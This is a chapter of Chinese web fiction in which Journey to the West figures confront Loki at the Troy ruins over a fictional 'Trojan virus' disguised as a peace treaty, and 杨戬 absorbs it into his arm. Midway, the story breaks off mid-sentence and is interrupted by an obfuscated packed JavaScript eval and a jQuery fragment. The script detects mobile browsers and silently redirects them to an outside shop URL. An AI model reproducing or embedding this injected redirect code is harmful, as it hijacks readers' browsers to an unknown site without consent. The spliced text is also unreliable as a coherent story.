特洛伊遗址在恰纳卡莱以南大约三十公里处。遗址的位置比想象中高,在一座平缓的山丘顶部。山坡上长满了野橄榄树和荆棘丛,树丛之间散落着几段残存的石墙。最显眼的是一段大约十米长的城墙基础,石块垒得厚实,底部还保留着迈锡尼时期的大型方石。
城墙前面有一片用木板搭起来的观景台,游客可以站在上面俯瞰整个遗址。此刻观景台上没有游客。入口处拉着一条黄色的警戒线,线上挂着一块手写的牌子:"临时维护中。"
玄奘一行从侧面的缺口处进入遗址。穿过一段灌木丛之后,视野突然打开,露出了整个特洛伊遗址的全貌。城墙、宫殿基座、房屋的地基层层叠叠地分布在山丘顶部,不同时期的建筑层相互交叠。最顶层是罗马时期的,中间是希腊化时期的,最底层是青铜时代的。同一个位置,九层城市叠在一起。
城墙根下蹲着一个人。他穿着深灰色连帽衫,帽子拉得很低,只露出下巴的轮廓,嘴角微微上翘。他蹲在那里像在等什么,手里把玩着一块电子平板。屏幕上闪烁着一串字符流,流动的速度极快,快到人类眼睛来不及分辨具体内容。他低着头,但帽檐下露出的半张脸上有一道极浅的疤痕,从嘴角延伸到颧骨,像是被什么东西割过之后留下的。
悟空第一个停下了。他左眼的瞳孔微微收了一下,站在原地,没有继续往前走。
"洛基。"他说。
蹲在城墙根下的人抬起头来,帽檐上推了大约一寸,露出一双浅灰色的眼睛。他的眼神不是挑衅,也不是欢迎,是一种更中性的状态——像一个人刚完成了一项工程,正在等验收结果。"你怎么认出我的?"
"你的耳机线缠法。所有北欧神里只有你从右侧绕脖。"
洛基低头看了一眼自己右肩处的耳机线,然后笑了一声。声音不响,但笑声的尾端带着一种像纸张被揉皱后摊平但仍然有痕迹残留的质地。"我在这儿待了两天了。做了一件东西。"他把手中的平板翻转过来让所有人看到。屏幕上的字符流正在构成一张拓扑结构图——像一棵倒置的树,主干是特洛伊遗址的物理坐标,分支延伸到周边所有接入互联网的节点,再延伸到更远处的节点。整个网络的覆盖范围正在以指数级扩大。
"这是木马病毒的新版本。它不破坏硬件,不改写数据。它把自己伪装成一份全球神系'和平协议'的草案文件。任何神系的主机只要收到这份文件并打开预览模式——病毒就会嵌入它的核心逻辑层,在所有的权限接口上覆盖一层与自己相同的伪装。覆盖完成之后,整个神系的信任链就会向这份文件倾斜,所有后续决策都会在病毒的影响下做出。"
"做了多久?"悟空问。
"两年。写代码的时间不长,构思的时间长。因为需要找到一份所有神系都会愿意打开的文件。"洛基把平板放在城墙的砖面上,屏幕朝上,"我选了'和平协议'。因为每个人都想要和平,但每个人都不信任对方的和平版本。所以我把版本号设成了空。不指定起草方。任何神系打开后都会觉得自己可以参与修改——然后病毒会以它们的权限写入。"
城墙上方传来一阵脚步声。两个人几乎同时从不同方向接近——一个从东侧城墙的外沿翻进来,穿着深色长外套,身形瘦高;另一个从西侧废墟的柱子后面走出来,灰白头发,左眼的眼罩在午后的光线下反射出一层暗色的光泽。路西法和奥丁。两个人走近之后各自停在城墙的两端,没有靠近洛基的位置,但目光都在那块平板上。
"你写了一份病毒。"奥丁的声音不高,但每一个字的尾音都被控在稳定的频率上,"伪装成和平协议。如果它在任何神系的主机中打开——"
"整个世界的神系信任链会在七十二小时内全部移位。到时候不是哪一方输赢的问题,是所有的'信任'定义都将被写入这段代码的底层逻辑。"路西法接过了他的话,"人类可能会以为只是系统升级。但神系内部的权限分配会从原有的历史基础全部重置。"
悟空蹲在玄奘身边,目光落在城墙根下的洛基身上。他的右手已经搭在了金箍棒的硬壳箱扣上,但没有拉开。"洛基。你写它的时候——你觉得谁会第一个打开它?"
洛基把帽檐重新拉低。"所有神系都会。但不是同时。最先打开的那一个会先被侵蚀,然后被侵蚀的那个会在不知情的情况下把信任转嫁给下一个。这是一个连锁——"
"我开。"杨戬的声音从队伍后方传过来。他已经往前走了几步,站在队伍的最前面,面朝洛基的方向。他的左臂黑色鳞片在午后的光线下泛着一层暗光,像是感染清创之后重新增生的层。他的右眼竖瞳在日光下收成一道细线。他伸手从口袋里取出那枚封神榜残片放在地面上,然后往前走了一步。
玄奘伸手拦了他一下:"你——"
"我烂命一条。"杨戬说,没有回头,"换你们一次对话的机会。这是我的事。你们别拦。"
他走到洛基面前,蹲下来。他用自己的手指碰了一下平板的屏幕边缘。那是一个极轻的触碰,像是把钥匙插进锁孔之前最后一次确认锁孔的方向。平板屏幕上的字符流在触碰点出现了一小段中断,像水面投入石子后产生的波纹。
中断持续了大约半秒。然后字符流恢复流动,但流向发生了变化——原本向四周扩散的数据流转向了杨戬指尖接触的位置,像所有分支线路同时将主干信号导向了同一个端点。洛基脸上的笑容在这一瞬间消失了。他伸手想合上平板,但屏幕已经亮到了最高亮度,字符流正以极快的速度沿杨戬指尖的方向向上延伸。
杨戬的整条左臂从鳞片覆盖处开始发亮。不是发光,是一种从皮下表向表面传导的能量轨迹,像金属在高温下逐渐变红但尚未开始燃烧的状态。黑狗在他脚边站起来,前爪搭在他的小腿上,但没有再动。
能量轨迹沿着杨戬的左臂上行,经过肩膀,到达肩颈交界处。他整个人的重心出现了一次偏移,像被额外的重量压住了左侧。但他没有倒下去。他右手撑住地面,左臂完全垂在身体侧面。那条手臂的表面从黑色鳞片变成了暗红色的半透明质地,像被烧过的铁条冷却过程中最外层的氧化层。鳞片之间的缝隙正在闭合,整条手臂正在形成一层连续的、类似烧制陶瓷的硬壳。
杨戬的嘴唇动了。声音比平时低,但每个字落地的时候都是稳定的:"我拦住了第一波。数据流没有进入你的主机。它停在了我这里。"
洛基站在城墙根下,平板屏幕从他手中滑落,落在砖面上,屏幕依然亮着,但字符流已经停止了流动。他的嘴唇紧抿成一条线,大约持续了好几秒才松开。"你拿自己的身体当防火墙。你知不知道这条手臂可能永远回不到原来的状态?"
"知道。"杨戬用右手把垂在身侧的左臂抬起来看了一眼。那条手臂已经完全覆盖了一层暗红色的硬壳,表面没有任何鳞片的纹路了,是一层连续的、陶瓷状的、像被高温烧制过的外壳。他的左手指节仍然可以弯曲,但弯曲时的每一个动作都带着一种干燥的摩擦声,像陶土在窑中定型后第一次被触碰时表面发出的声响。
悟空从后面走上来。他站在杨戬左侧大约一臂的距离,低头看着那条暗红色的手臂。"你这条手臂现在的质地跟塔庙那尊泥像的背面一模一样。"
"因为它也是接上去的。"杨戬把手臂放下来,垂在身侧,"第一波数据流里有封神榜原始代码的碎片。它进入我的手臂之后和我身上的鳞片结构发生了一次融合。融合的结果是这幅样子——封神榜碎片和我的身体合在一起了。它是被接上去的。但接上去之后它就是我的了。"
奥丁从东侧城墙上走下来,停在洛基身边。他的独眼在洛基身上停留了一段时间,然后他开口,声音里没有任何责备的痕迹,是一段陈述:"你写的代码在进入他手臂的瞬间被一个权限更高的接口截断了。那个接口属于封神榜原始系统的端口残留——比你写的任何协议都早一千年。"
洛基低头看着自己空了的双手。他的嘴角那道疤痕在午后的光线下显得比之前更深一些。"我写了两年。本以为它会穿过至少三个神系才被发现。"
"它被发现了。在第一个节点。"悟空蹲下来把杨戬的手臂托起来重新检查了一遍。他摸了一下外壳的内侧边缘,手指触到的温度是体温略高的温度,像刚停下来的引擎。"它现在是你的了。但以后用的时候可能会影响你的动作协调。你左边肩膀会一直感受到额外的重量。"
杨戬把手臂从悟空手中抽回来,自己重新放回身侧。他低头看着自己右腿边的黑狗。狗正抬头看着他,琥珀色的眼睛里映出他左侧那条暗红色的手臂轮廓。他对着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849402|211779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狗说了一句:"还没废。还能走。"
黑狗的尾巴在地面上扫了半圈。
玄奘从后面走上来,把杨戬放在地上的那枚封神榜残片捡起来,递还给他。"数据流停在你手臂上了。剩下的部分——你保留了被它截断的所有内容。"他把残片放进杨戬掌心里,"现在你手臂里有一整段完整的数据流残留。它没有传播出去,也没有消失。你把它放在了自己的身体里。"
杨戬合拢掌心。那条暗红色的手臂在他合拢手指的瞬间发出一声极轻的、像陶器表面被水润湿之后产生的细微响动。外壳的颜色从暗红变成了稍浅一些的褐色,像温度正在缓慢下降。
沙僧在城墙另一侧的路西法身边站了一会儿。路西法没有离开,他站在城墙的转角处,双手插在长外套口袋里,目光落在杨戬那条手臂的方向。沙僧的平板在低功耗模式下录了一段背景音频。音频中有一层极轻的、几乎不可辨认的声音,像是有人用很轻的声音说了句"代价"——可能来自路西法的方向,也可能只是风经过城墙裂缝时的自然声响。
太白金星在所有人离开遗址区域之后才出现。他从东侧城墙的矮墙后面走出来,手里拎着一只银色的公文箱,箱盖上印着磨损的云纹。他走到洛基刚才蹲过的地方,看了一眼地面上的平板——屏幕还亮着,但字符流已经凝固成一条静止的水平线。他把平板拿起来放进公文箱,合上箱盖。
他面对杨戬站了一会儿。开口时声音比平时低一些,像是怕说重了会把什么刚凝固的东西震开:"你手臂里的那些封神榜碎片——不是残片。是你当年被除名时从封神榜本体上连带剥离的原始代码。它们一直跟着你。今天它们重新接上了你。"
杨戬垂着那条暗红色的手臂站在原地。"那我现在算什么?"
太白金星看了他很久。然后把公文箱换到另一只手里,转身离开了。走了大约十步之后他的声音飘回来,很轻,但每个字都在干燥的空气里保持着清晰的边缘:"算你自己选的方式。"
城墙基座上那截残留的石块侧面,有一道新的划痕。划痕的方向是从城墙内缘向外延伸,长度大约一只手掌,像是有人把手按在墙上之后指尖向下滑过时留下的。在划痕最深的位置,有一小片暗红色的粉末嵌在石缝中,粉末的颜色与杨戬手臂外壳的颜色一致。
沙僧当天的记录分为两段,第二段比第一段长,写在正文之后标注了日期:"杨戬左臂完成第二次形态转换。从黑色鳞片变为暗红色硬壳。原因是他主动接触了数据流的中转端,将本应扩散的病毒拦截在自己体内。他说'我烂命一条'的时候语速是最快。他说'换你们一次对话'的时候语速是最慢。两次语速的差异大约为零点四秒。那零点四秒里他决定把自己当成接口来用。"
敖烈的车载屏在所有人回到车上之后亮了一行字,放在屏幕最底部:"左后轮内侧沾了一粒深褐色颗粒。成分与杨戬手臂外壳表层相同。颗粒可能在行走过程中脱落了一粒,被车轮经过时带起后嵌进了轮胎花纹。已单独保存于储物箱最下层。与石榴园种子同一隔间。"
玄奘在副驾坐定后没有立刻扣安全带。他侧头看了一眼后座的位置——杨戬靠在窗边,左臂放在膝盖上,暗红色的手臂外壳在车内光线下呈现出一种接近陶土的颜色。黑狗蹲在他脚边的地板上,下巴搁在他右脚的靴面上。杨戬没有看任何人。他的目光落在自己左臂外壳表面一处细微的纹路上,看得专注,像在默读一行已经被刻进去的字。
悟空坐在另一侧,义眼依然没有启动。他看了杨戬一会儿,然后把自己的降噪耳机从左耳摘下来,探身放进了杨戬右侧座椅的收纳袋里。
"你右边耳朵现在听得见。这条左臂会一直发出低频噪音。你戴着睡。"
杨戬没有道谢。但他伸手把收纳袋里的耳机拿了出来,挂在右耳上。挂好之后,他的肩膀放松了大约半指的宽度。
白色越野车在特洛伊遗址的山丘下方转了一个弯。车尾灯的光在暮色中划过城墙基座表面,在残存的石块上留下一道短暂的暖色线条。那条线条经过的位置恰好覆盖了沙僧之前记录中那道新划痕的上方,在车辆驶远之后暗了下来。石缝中那粒暗红色粉末在夜晚的湿度中颜色略深了一些,像一层刚从烧制温度中冷却下来的材料正在缓慢地与周围石材交换温度。